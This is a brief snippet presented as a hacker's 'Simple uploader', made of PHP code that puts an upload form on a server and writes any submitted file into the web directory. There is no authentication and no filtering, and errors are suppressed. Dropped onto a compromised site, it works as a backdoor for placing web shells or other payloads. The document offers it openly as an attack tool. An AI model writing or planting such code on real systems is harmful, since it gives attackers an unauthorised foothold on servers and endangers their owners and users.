Simple uploader

With this tools the hacker can upload files to the server.

<?php
echo '';
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
    set_time_limit(0);
	if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Uploaded Successfully</b><br><br>'; }
	else { echo '<b>Upload Failed! <br>'; }
}
?>